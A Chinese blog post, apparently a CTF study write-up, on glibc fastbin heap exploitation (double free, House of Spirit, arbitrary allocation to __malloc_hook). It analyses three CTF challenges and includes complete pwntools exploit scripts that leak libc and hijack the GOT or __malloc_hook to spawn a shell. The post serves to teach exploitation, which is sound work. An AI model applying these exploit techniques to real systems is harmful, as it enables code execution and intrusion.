堆利用之FastBin-attack


[TOC]

Fastbin Attack Methods

Fastbin Double Free

漏洞形成原因:

  • fastbin的堆块被释放后其 next_chunk的 prev_inuse位不会被清空
  • fastbin的堆块在执行 free的时候仅验证了 main_arena直接指向的块,即链表指针头部的块。对于链表后面的块并没有进行验证
//demo.c
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
    void *chunk1,*chunk2,*chunk3;
    chunk1=malloc(0x10);
    chunk2=malloc(0x10);

    free(chunk1);
    //free(chunk1); //这时会报错,因为此时 main_arena指向chunk1
    free(chunk2);
    free(chunk1);  //此时不会报错,因为此时 main_arena指向chunk2
    return 0;
}

第一次释放free(chunk1)

第二次释放free(chunk2)

第三次释放free(chunk1)

注意因为 chunk1 被再次释放因此其 fd 值不再为 0 而是指向 chunk2,这时如果我们可以控制 chunk1 的内容,便可以写入其 fd 指针从而实现在我们想要的任意地址分配 fastbin 块。

比如我们可以再申请一个相同大小的chunk,那么这时第一个chunk1就会被取出来

然后我们再修改 chunk1的 fd指针,那么就可以把我们伪造的 chunk挂进 fastbin中(注意,_int_malloc 会对欲分配位置的 size 域进行验证,如果其 size 与当前 fastbin 链表应有 size 不符就会抛出异常。所以我们要在 fake_chunk伪造 size域);此时就可以分配 fake_chunk了

总结

通过 fastbin double free 我们可以使用多个指针控制同一个堆块,这可以用于篡改一些堆块中的关键数据域或者是实现类似于类型混淆的效果。 如果更进一步修改 fd 指针,则能够实现任意地址分配堆块的效果 (首先要通过验证),这就相当于任意地址写任意值的效果。

House of Spirit

该技术的核心在于在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址的 chunk 的目的。

要想构造 fastbin fake chunk,并且将其释放时,可以将其放入到对应的 fastbin 链表中,需要绕过一些必要的检测,即

  • fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。
  • fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
    • 这里对齐指的是地址上的对齐而不仅仅是内存对齐,比如32位程序的话fake_chunk的prev_size所在地址就应该位0xXXXX00xXXXX4。64位的话地址就应该在0xXXXX00xXXXX8
  • fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。
  • fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem
  • fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。

eg:_attribute__ ((aligned (16))),此属性指定了指定类型的变量的最小对齐(以字节为单位),如果结构中有成员的长度大于16,则按照最大成员的长度来对齐。

//demo.c
#include <stdio.h>
#include <stdlib.h>
   
int main()
{
      malloc(1);
      unsigned long long *a;
      unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
      fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_c    hunks[1], &fake_chunks[7]);
      fake_chunks[1] = 0x40; // this is the size
      fake_chunks[9] = 0x1234; // nextsize
      fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
      a = &fake_chunks[2];
      fprintf(stderr,"%p\n",&a); 
      free(a);
      fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
      fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

可以看到我们伪造了一个大小为0x40的 fake_chunk,其地址是对齐的并且下一个 chunk的大小为0x1234大于2*size_ez

然后让指针 a指向0x7fffffffe430并 free(a),可以看到伪造的chunk成功挂入了 fastbins;后面再malloc(0x30)时,该fake_chunk就会被启用

总结

可以看出,想要使用该技术分配 chunk 到指定地址,其实并不需要修改指定地址的任何内容,关键是要能够修改指定地址的前后的内容使其可以绕过对应的检测

Alloc to Stack

Alloc to Stack 这种利用技巧其实和前面两种区别不大,只不过就是伪造的 chunk 放在了栈上

该技术的核心点在于劫持 fastbin 链表中 chunk 的 fd 指针,把 fd 指针指向我们想要分配的栈上,从而实现控制栈中的一些关键数据,比如返回地址等。

eg:把 fake_chunk 置于栈中称为 stack_chunk,同时劫持了 fastbin 链表中 chunk 的 fd 值,通过把这个 fd 值指向 stack_chunk 就可以实现在栈中分配 fastbin chunk。注意 stack_chunk 的 size 域要符合对应 bin 的大小

typedef struct _chunk {
    long long pre_size;
    long long size;
    long long fd;
    long long bk;
} CHUNK,*PCHUNK;

int main(void) {
    CHUNK stack_chunk;
    void *chunk1;
    void *chunk_a;
    stack_chunk.size=0x21;
    chunk1=malloc(0x10);
    free(chunk1);

    *(long long *)chunk1=&stack_chunk;
    malloc(0x10);
    chunk_a=malloc(0x10);
    return 0;
}

可以看到我们通过修改 chunk1 的 fd 指针为 &stack_chunk,成功的把 stack_chunk 给挂进了 fastbins 中

总结

通过该技术我们可以把 fastbin chunk 分配到栈中,从而控制返回地址等关键数据。要实现这一点我们需要劫持 fastbin 中 chunk 的 fd 域,把它指到栈上,当然同时需要栈上存在有满足条件的 size 值。如果程序存在 UAF 漏洞,我们就可以劫持 chunk 的 fd 域

Arbitrary Alloc

Arbitrary Alloc 其实与 Alloc to stack 是完全相同的,唯一的区别是分配的目标不再是栈中。 事实上只要满足目标地址存在合法的 size 域(这个 size 域是构造的,还是自然存在的都无妨),我们可以把 chunk 分配到任意的可写内存中,比如 bss、heap、data、stack 等等。

eg:在这个例子,我们使用字节错位来实现直接分配 fastbin 到__malloc_hook 的位置,相当于覆盖__malloc_hook 来控制程序流程。

下面 0x7ffff7dd1aed 这个地址的 chunk 是包含 __malloc_hook的,所以我们可以通过将它挂进 fastbin 中,然后再malloc 出来,就可以去篡改 __malloc_hook了

int main(void)
{
    void *chunk1;
    void *chunk_a;
    chunk1=malloc(0x60);
    free(chunk1);

    *(long long *)chunk1=0x7ffff7dd1aed;
    malloc(0x60);
    chunk_a=malloc(0x60);
    return 0;
}

这个包含 __malloc_chunk 的 chunk该如何寻找呢?如下图:find_fake_fast addr size

其中 addr 为我们想要再这个 chunk中包含的地址,size为我们希望的 chunk大小

总结

Arbitrary Alloc 在 CTF 中用地更加频繁。我们可以利用字节错位等方法来绕过 size 域的检验,实现任意地址分配 chunk,最后的效果也就相当于任意地址写任意值。

例题

2014 hack.lu oreo

程序只开启了 Canary 和 NX 保护,所以可以打 got,且为 32 位程序

程序实现了 malloc、show、free、message、show_status 5个函数,但是最后一个没啥用就不讲了

malloc

chunk 大小固定为 0x40=64,那这里输入 name 时明显存在堆溢出,并且后面输入 des 时也是存在问题的,虽然不存在堆溢出;全局变量 count 会记录已经创建的 chunk 的个数;全局变量 ptr 存放的是最后创建的 chunk 的 malloc_ptr;并且每一个 chunk 最后都会存储上一个 chunk 的 malloc_size

unsigned int sub_8048644()
{
  char *v1; // [esp+18h] [ebp-10h]
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  v1 = ptr;
  ptr = (char *)malloc(0x38u);
  if ( ptr )
  {
    *((_DWORD *)ptr + 13) = v1;
    printf("Rifle name: ");
    fgets(ptr + 25, 56, stdin);                 // 存在堆溢出
    sub_80485EC(ptr + 25);
    printf("Rifle description: ");              // 存在漏洞,可以写满整个0x38的chunk
    fgets(ptr, 56, stdin);
    sub_80485EC(ptr);
    ++count;
  }
  else
  {
    puts("Something terrible happened!");
  }
  return __readgsdword(0x14u) ^ v2;
}

从函数中可以分析出所有的 chunk 是以下图的方式连接起来的,des 的长度只有25,但是却输入56,但是是不构成堆溢出的

show

就是通过 ptr 去找到最后一个 chunk,然后通过每个 chunk 最后存储的上一个 chunk 的 malloc_ptr 依次输出,这里是倒序;

unsigned int sub_8048729()
{
  char *i; // [esp+14h] [ebp-14h]
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  printf("Rifle to be ordered:\n%s\n", "===================================");
  for ( i = ptr; i; i = (char *)*((_DWORD *)i + 13) )// (char *)*((_DWORD *)i + 13)就是prev_malloc_ptr
  {
    printf("Name: %s\n", i + 25);
    printf("Description: %s\n", i);
    puts("===================================");
  }
  return __readgsdword(0x14u) ^ v2;
}

free

没啥好说的,也是倒序释放,order_num全局变量表示我们释放的次数

unsigned int sub_8048810()
{
  char *v1; // [esp+14h] [ebp-14h]
  char *p; // [esp+18h] [ebp-10h]
  unsigned int v3; // [esp+1Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  v1 = ptr;
  if ( count )
  {
    while ( v1 )
    {
      p = v1;
      v1 = (char *)*((_DWORD *)v1 + 13);
      free(p);                                  // 没有置空,UAF,但是没啥用
    }
    ptr = 0;
    ++order_num;
    puts("Okay order submitted!");
  }
  else
  {
    puts("No rifles to be ordered!");
  }
  return __readgsdword(0x14u) ^ v3;
}

message

这是一个留言功能,可以向 message_addr 指向的位置写入 128 个字节

unsigned int sub_80487B4()
{
  unsigned int v1; // [esp+1Ch] [ebp-Ch]

  v1 = __readgsdword(0x14u);
  printf("Enter any notice you'd like to submit with your order: ");
  fgets(message_addr, 128, stdin);
  sub_80485EC(message_addr);
  return __readgsdword(0x14u) ^ v1;
}

可以看到,message_addr 存储的是 0x804A2C0 这个地址

int __cdecl main()
{
  count = 0;
  order_num = 0;
  message_addr = (char *)&unk_804A2C0;
  Main();
  return 0;
}

利用思路

首先我们想打 got,那么就得泄漏 libc,并且有任意写的能力

泄漏 libc

其实泄漏 libc 还是很容易的,通过上面的分析,malloc 时存在溢出,那么我们完全可以把 prev_malloc_ptr 给修改为 puts@got,那么如果我们 show 的话,就会顺着输出 puts@got 表项的内容从而泄漏 libc

任意写

关键在于我们如何去修改某个 got 表项的内容为 system;这里还是比较巧妙的,还记得上面的三个全局变量吗?

  • count:记录创建的 chunk 的数量

  • order_num:记录执行 free 函数的次数

  • message_addr:存储着一个地址0x804A2C0,我们可以向这个地址写入 128 个字节

我们去看下这几个变量的地址,这几个变量是连续的;OMG

它们的位置关系如下图,那么神奇的就来了,我们可以利用这个结构来伪造一个 fastbin chunk,count就是 size 域,然后把它挂进 fastbin 中,然后再 malloc 出来,这样在 malloc 时我们可以修改 message_addr 为某个函数的 got 表项比如puts@got,那么如果我们在去 message 留言的话,其实就是向 puts@got 中写入,从而达到了任意写的目的

我们伪造的 chunk 大小为0x40,所以我们得在 0x804A2A0 + 0x40 = 0x804A2E0 处在伪造一个 fake_chunk的size域,以便绕过检查,而 0x804A2E0 在留言区域控制之中,所以直接可以通过 message函数伪造

exp:注意这题没有 stebuf,开始把我坑惨了

from pwn import *

#context.log_level = 'debug'
io = process("./oreo")
elf = ELF("./oreo")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

def cmd(index):
        io.sendline(str(index).encode())


def malloc(name, des):
        cmd(1)
        io.sendline(name)
        io.sendline(des)

def show():
        cmd(2)

def free():
        cmd(3)

def message(content):
        cmd(4)
        io.sendline(content)

payload = b'A'*27 + p32(elf.got['puts'])
malloc(payload, b'A')
show()
io.recvuntil(b'\n===================================\n')
io.recvuntil(b'\n===================================\nName: \nDescription: ')

puts_addr = u32(io.recv(4))
print("puts_addr:", hex(puts_addr))

system = puts_addr - libc.symbols['puts'] + libc.symbols['system']

name = b'A'*27 + p32(0)
for i in range(0x3e):
        malloc(name, b'A')

message_addr = 0x0804A2A8
payload = b'A'*27 + p32(message_addr)
malloc(payload, b'A')
#debug()

payload = b'\x00'*0x20 + p32(0x0) + p32(0x30)
message(payload)
free()
#debug()

payload = p32(elf.got['strlen'])
malloc(b'name', payload)
#debug()

payload = p32(system) + b';/bin/sh'
message(payload)

io.interactive()

2015 9447 CTF : Search Engine

程序开启了 Canary 和 NX 保护,可以考虑打 got,但是这题打的 __malloc_hook

程序有两个功能,一个 sentence、一个 word,这两个函数具体功能如下分析:

sentence

该函数会接收用户输入的句子,并分割存储句子中包含的单词

int sentence()
{
  int size; // eax
  __int64 v1; // rbp
  int v2; // r13d
  char *sentence_chunk; // r12
  char *v4; // rbx
  __int64 v5; // rbp
  _DWORD *word_chunk; // rax
  int word_len; // edx
  __int64 v8; // rdx
  __int64 v10; // rdx

  puts("Enter the sentence size:");
  size = get_a_num();
  v1 = (unsigned int)(size - 1);                // v1 = size - 1
  v2 = size;                                    // v2 = size
  if ( (unsigned int)v1 > 0xFFFD )              // size < 0xFFFE
    output("Invalid size");
  puts("Enter the sentence:");
  sentence_chunk = (char *)malloc(v2);
  my_read(sentence_chunk, v2, 0);              // 这里存在漏洞,my_read第三个参数传的0,那么就不会给字符串最后补上\x00
  v4 = sentence_chunk + 1;                      // v4 = &sentence_chunk[1]
  v5 = (__int64)&sentence_chunk[v1 + 2];        // v5 = &sentence_chunk[size+1]
  word_chunk = malloc(0x28uLL);
  word_len = 0;
  *(_QWORD *)word_chunk = sentence_chunk;       // word_chunk[0] = word的开始地址
  word_chunk[2] = 0;                            // word_chunk[1] = 0,记录word的长度
  *((_QWORD *)word_chunk + 2) = sentence_chunk; // word_chunk[2] = sentence_chunk
  word_chunk[6] = v2;                           // word_chunk[3] = sentence_chunk.size
  do
  {
    while ( *(v4 - 1) != ' ' )                  // 直到遇到空格为止,这里在分割单词
    {
      word_chunk[2] = ++word_len;
LABEL_4:
      if ( ++v4 == (char *)v5 )                 // v4到达sentence_chunk[size+1]就退出
        goto LABEL_8;
    }
    if ( word_len )                             // word_len!=0,表明成功分割到单词
    {
      v10 = qword_6020B8;
      qword_6020B8 = (__int64)word_chunk;       // qword_6020B8记录最后一个word_chunk的malloc_ptr
      *((_QWORD *)word_chunk + 4) = v10;   // wrod_chunk[4] = prev_word_chunk_malloc_ptr,会把所有的word连接起来
      word_chunk = malloc(0x28uLL);             // 创建下一个单词的word_chunk并初始化,准备分割下一个单词
      word_len = 0;                             // 下一个单词长度
      *(_QWORD *)word_chunk = v4;               // 下一个单词的起始地址
      word_chunk[2] = 0;                        // 下一个单词长度
      *((_QWORD *)word_chunk + 2) = sentence_chunk;// sentence_chunk
      word_chunk[6] = v2;                       // sentence_chunk.size
      goto LABEL_4;                             // 跳转过去处理下一个单词
    }
    *(_QWORD *)word_chunk = v4++;               // 说明空格在开始位置,或者有连续的空格,这里则是跳过这两类空格
  }
  while ( v4 != (char *)v5 );
LABEL_8:
  if ( word_len )                               // 这里是对到达sentence末尾退出的word进行处理的,但是末尾没有空格
  {                                             // 比如aa bb cc,那么cc这个word会因为没有检测到空格而没有进行处理
    v8 = qword_6020B8;
    qword_6020B8 = (__int64)word_chunk;
    *((_QWORD *)word_chunk + 4) = v8;
  }
  else
  {
    free(word_chunk);                           // 这里是对末尾有空格的进行处理的,比如'aa bb '这个句子,
  }                                             // 在处理完bb后创建一个word_chunk,这时要把这个word_chunk给释放掉
  return puts("Added sentence");
}   

可以知道这个函数会创建两种 chunk:

  • sentence_chunk:用来存储你输入的句子,大小可控
  • word_chunk:用来存储你输入的句子中单词的相关信息,user_data 大小固定为 0x28
struct word_chunk {
	word_addr; //word的起始地址
	word_len; //word的长度
	sentence_chunk;//word所属句子的起始地址
	sentence_chunk.size;//word所属句子的大小
	prev_word_malloc_ptr;//上一个单词的malloc_ptr
}

word

该函数会接收用户输入的单词,然后去匹配对应的句子(可能多个),然后输出句子内容并询问是否释放该句子的 sentence_chunk。匹配句子时会有相应的检查。

程序会遍历所有的 word_chunk,然后检查

  • 检查 word_chunk.sentence_chunk 是否有值
  • 检查我们输入单词的长度是否等于 word_chunk.size
  • 检查我们输入单词的内容是否与 word 相同
void word()
{
  int size; // ebp
  char *ptr; // r12
  __int64 i; // rbx
  char v3[56]; // [rsp+0h] [rbp-38h] BYREF

  puts("Enter the word size:");
  size = get_a_num();
  if ( (unsigned int)(size - 1) > 0xFFFD )
    output("Invalid size");
  puts("Enter the word:");
  ptr = (char *)malloc(size);
  my_read(ptr, size, 0);
  for ( i = qword_6020B8; i; i = *(_QWORD *)(i + 32) )// i = *(_QWORD *)(i + 32) = word_chunk_malloc_ptr
  {
    if ( **(_BYTE **)(i + 16) )                 // **(_BYTE **)(i + 16) = sentence的内容(第一个字符)
    {                                           // *(_DWORD *)(i + 8) = word_len;i = word的起始地址
      if ( *(_DWORD *)(i + 8) == size && !memcmp(*(const void **)i, ptr, size) )
      {
        __printf_chk(1LL, "Found %d: ", *(unsigned int *)(i + 24));// *(unsigned int *)(i + 24) = word所属的句子的长度
        fwrite(*(const void **)(i + 16), 1uLL, *(int *)(i + 24), stdout);// *(const void **)(i + 16) = word所属句子的起始地址
        putchar(10);
        puts("Delete this sentence (y/n)?");
        my_read(v3, 2, 1);
        if ( v3[0] == 'y' )
        {
          memset(*(void **)(i + 16), 0, *(int *)(i + 24));// 把sentence区域置0
          free(*(void **)(i + 16));             // 释放sentence_chunk;这里没有把指针置空
          puts("Deleted!");
        }
      }
    }
  }
  free(ptr);
}

该函数存在很大的问题,那就是虽然释放了句子的 sentence_chunk,但是并没有清除 word_chunk,也就是说 word_chunk 中的信息依然存在,所以这里可能存在 UAF 和 Double Free。

漏洞利用

这个题我不知道咋讲,所以对着 exp 写吧>_<

1、先创建一个 0x88 的chunk,其中最后 3 个字节为' B ',前后都有一个空格

sentence = b'A'*0x85 + b' B '
index_sentence(len(sentence), sentence)

可以看到第一个 0x90 的 chunk 就是 sentence_chunk;第二个 0x30 的 chunk 就是第一个 word_chunk;第三个 0x30 的 chunk 就是第二个 word_chunk;最后还有一个 0x30 的 chunk,这是由于我们的这个句子是以空格结尾的,具体分析见 sentence 函数注释。

这里可以仔细看下 word_chunk中的内容,可以发现是与上面分析的 word_chunk 结构是对应的;

比如红色的部分,这个前面的是 word_chunk 的第一个位置也就是 word 在句子中的位置(0x42就是’B’,0x20是空格),第二个是 word_len。

2、查找单词 B,并删除对应的句子

search_word(1, b'B')
io.recvuntil(b'sentence (y/n)?\n')
io.sendline(b'y')

这是就会找到我们在第一步中输入的句子,并会把 sentence_chunk 给清零然后在 free 掉,由于 sentence_chunk大小为 0x90大于 fastbin,所以会被放进 unsortedbin 中,这时 sentence_chunk 的 fd,bk指针就会指向 unsortedbin。

如下图,sentence_chunk 后面都被清零了,但是 word_chunk 都没有任何变化,那么这里是存在问题的

**泄漏 libc **

search_word(1, b'\x00')
io.recvuntil(b'Found 136: ')
main_arena = u64(io.recv(8)) - 88
libc_base = main_arena - 0x10 - libc.symbols['__malloc_hook']
io.recvuntil(b'sentence (y/n)?\n')
io.sendline(b'n')

这里是怎么泄漏出 libc 的呢?看向上面的图,虽然 sentence_chunk 被清零释放了,但是其 fd,bk是指向 unsortedbin的。

还记得根据单词搜索句子的三个检查吗?

这里我们搜索 \x00 这个单词:它会找到下面红色方框圈起那个 word_chunk

  • 检查 word_chunk.sentence_chunk 是否有值 ==> sentence_chunk的fd,bk位置是有值的
  • 检查我们输入单词的长度是否等于 word_chunk.size ==> 长度为1,满足条件
  • 检查我们输入单词的内容是否与 word 相同 ==> 可以看到 0x254e0a6位置已经被清零了,所以都是 \x00,满足条件

所以成功找到对应的单词,于是就会输出对应的句子,这里就会输出 unsortedbin,从而泄漏了 libc

3、构造fastbin double free

先创建三个 User_data 为 0x60 的 sentence_chunk,然后依次释放,释放顺序为C,B,A(以输入0x5D的字符命名)。

index_sentence(0x60, b'A'*0x5D + b' D ')
index_sentence(0x60, b'B'*0x5D + b' D ')
index_sentence(0x60, b'C'*0x5D + b' D ')
search_word(1, b'D')
io.recvuntil(b'sentence (y/n)?\n')
io.sendline(b'y')
io.recvuntil(b'sentence (y/n)?\n')
io.sendline(b'y')
io.recvuntil(b'sentence (y/n)?\n')
io.sendline(b'y')

可以看到,这三个 sentence_chunk 被依次挂进了 fastbin 中

同第2步,如果我们此时再去搜索 \x00 这个单词,就会依次找到B、A、以及第2步那个sentence_chunk;这里不会找到C,因为 C 的 fd 为 0,所以第一个检查就不行。

这里我们只再次释放B,后面两个都是 n。

search_word(1, b'\x00')
io.recvuntil(b'sentence (y/n)?\n')
io.sendline(b'y')
io.recvuntil(b'sentence (y/n)?\n')
io.sendline(b'n')
io.recvuntil(b'sentence (y/n)?\n')
io.sendline(b'n')

那么此时 fastbins 中结构如下:可以看到B这个sentence_chunk被double free了,fastbin 中形成了循环

劫持 fastbin fd

之后就很明白了,我们可以在申请一个 0x60 的 sentence_chunk,然后修改 fd 指针到我们伪造的 fake_chunk,该 fake_chunk 包含 malloc_hook。然后再把 fake_chunk 给 malloc出来,进而去修改 malloc_hook 为 one_gadget

该 fake_chunk 如何伪造呢?见上面的Arbitrary Alloc中 find_fast_fake_fast 的用法

完整 exp:

import sys
from pwn import *
#context.log_level = 'debug'

io = process("./search")
elf = ELF("./search")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

def index_sentence(size, sentence):
        io.recvuntil(b'3: Quit\n')
        io.sendline(b'2')
        io.recvuntil(b'size:\n')
        io.sendline(str(size).encode())
        io.recvuntil(b'sentence:\n')
        io.send(sentence)

def search_word(size, word):
        io.recvuntil(b'3: Quit\n')
        io.sendline(b'1')
        io.recvuntil(b'size:\n')
        io.sendline(str(size).encode())
        io.recvuntil(b'word:\n')
        io.send(word)

def exp():
        sentence = b'A'*0x85 + b' B '
        index_sentence(len(sentence), sentence)
        #debug()

        search_word(1, b'B')
        io.recvuntil(b'sentence (y/n)?\n')
        io.sendline(b'y')
        #debug()

        search_word(1, b'\x00')
        io.recvuntil(b'Found 136: ')
        main_arena = u64(io.recv(8)) - 88
        libc_base = main_arena - 0x10 - libc.symbols['__malloc_hook']
        io.recvuntil(b'sentence (y/n)?\n')
        io.sendline(b'n')
        print("main_arena:", hex(main_arena))
        print("libc_base:", hex(libc_base))
        #debug()

        index_sentence(0x60, b'A'*0x5D + b' D ')
        index_sentence(0x60, b'B'*0x5D + b' D ')
        index_sentence(0x60, b'C'*0x5D + b' D ')
        #debug()
        search_word(1, b'D')
        io.recvuntil(b'sentence (y/n)?\n')
        io.sendline(b'y')
        io.recvuntil(b'sentence (y/n)?\n')
        io.sendline(b'y')
        io.recvuntil(b'sentence (y/n)?\n')
        io.sendline(b'y')
        #debug()

        search_word(1, b'\x00')
        io.recvuntil(b'sentence (y/n)?\n')
        io.sendline(b'y')
        io.recvuntil(b'sentence (y/n)?\n')
        io.sendline(b'n')
        io.recvuntil(b'sentence (y/n)?\n')
        io.sendline(b'n')
        #debug()

        fake_fast_chunk = main_arena - 0x33
        malloc_chunk_offset = 0x13

        payload = p64(fake_fast_chunk).ljust(0x60, b'X')
        index_sentence(0x60, payload)
        #debug()

        index_sentence(0x60, b'A'*0x60)
        index_sentence(0x60, b'A'*0x60)
        #debug()

        one_gadget1 = libc_base + 0x45226
        one_gadget2 = libc_base + 0x4527a
        one_gadget3 = libc_base + 0xf03a4
        one_gadget4 = libc_base + 0xf1247
        malloc_chunk = libc_base + libc.symbols['__malloc_hook']

        payload = b'A' * malloc_chunk_offset + p64(one_gadget4)
        payload = payload.ljust(0x60, b'X')
        index_sentence(0x60, payload)

        io.interactive()

if __name__ == "__main__":
        exp()

2017 0ctf babyheap

跟 Search Engine 差不多,通过堆溢出实现 Double Free 的效果;但这题很简单,有堆溢出,chunk数量和大小都可控,且有输出函数。

exp:

from pwn import *

#context.log_level = 'debug'
io = process("./babyheap")
elf = ELF("./babyheap")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

def cmd(index):
        io.recvuntil(b'Command: ')
        io.sendline(str(index).encode())

def Allocate(size):
        cmd(1)
        io.recvuntil(b'Size: ')
        io.sendline(str(size).encode())

def Fill(index, size, content):
        cmd(2)
        io.recvuntil(b'Index: ')
        io.sendline(str(index).encode())
        io.recvuntil(b'Size: ')
        io.sendline(str(size).encode())
        io.recvuntil(b'Content: ')
        io.send(content)

def Free(index):
        cmd(3)
        io.recvuntil(b'Index: ')
        io.sendline(str(index).encode())

def Dump(index):
        cmd(4)
        io.recvuntil(b'Index: ')
        io.sendline(str(index).encode())
        io.recvuntil(b'Content: \n')
        return io.recvuntil(b'\n', drop = True)

Allocate(0x20)
Allocate(0x20)
Allocate(0x20)
Allocate(0x20)
Allocate(0x80)
Allocate(0x20)
#debug()

Free(2)
Free(1)
payload = b'A'*0x20 + p64(0) + p64(0x31) + p8(0xC0)
Fill(0, len(payload), payload)
#debug()

payload = b'A'*0x20 + p64(0) + p64(0x31)
Fill(3, len(payload), payload)
#debug()

Allocate(0x20)
Allocate(0x20)
#debug()

payload = b'A'*0x20 + p64(0) + p64(0x91)
Fill(3, len(payload), payload)
#debug()

Free(4)
#debug()

main_arena = u64(Dump(2)[0:8]) - 88
print("main_arena:", hex(main_arena))
#debug()
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.symbols['__malloc_hook']
print("libc_base:", hex(libc_base))

one_gadget1 = libc_base + 0x45226
one_gadget2 = libc_base + 0x4527a
one_gadget3 = libc_base + 0xf03a4
one_gadget4 = libc_base + 0xf1247

#debug()
Allocate(0x60)
Allocate(0x60)
#debug()

Free(6)
Free(4)
#debug()

fake_chunk = main_arena - 0x33
malloc_hook_offset = 0x13

payload = b'A'*0x20 + p64(0) + p64(0x71) + p64(fake_chunk)
Fill(3, len(payload), payload)
#debug()

Allocate(0x60)
#debug()
Allocate(0x60)
#debug()

payload = b'A' * malloc_hook_offset + p64(one_gadget2)
Fill(6, len(payload), payload)

Allocate(0x30)

io.interactive()

参考

ctf wiki

https://hollk.blog.csdn.net/article/details/109284167


文章作者: XiaozaYa
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 XiaozaYa !
  目录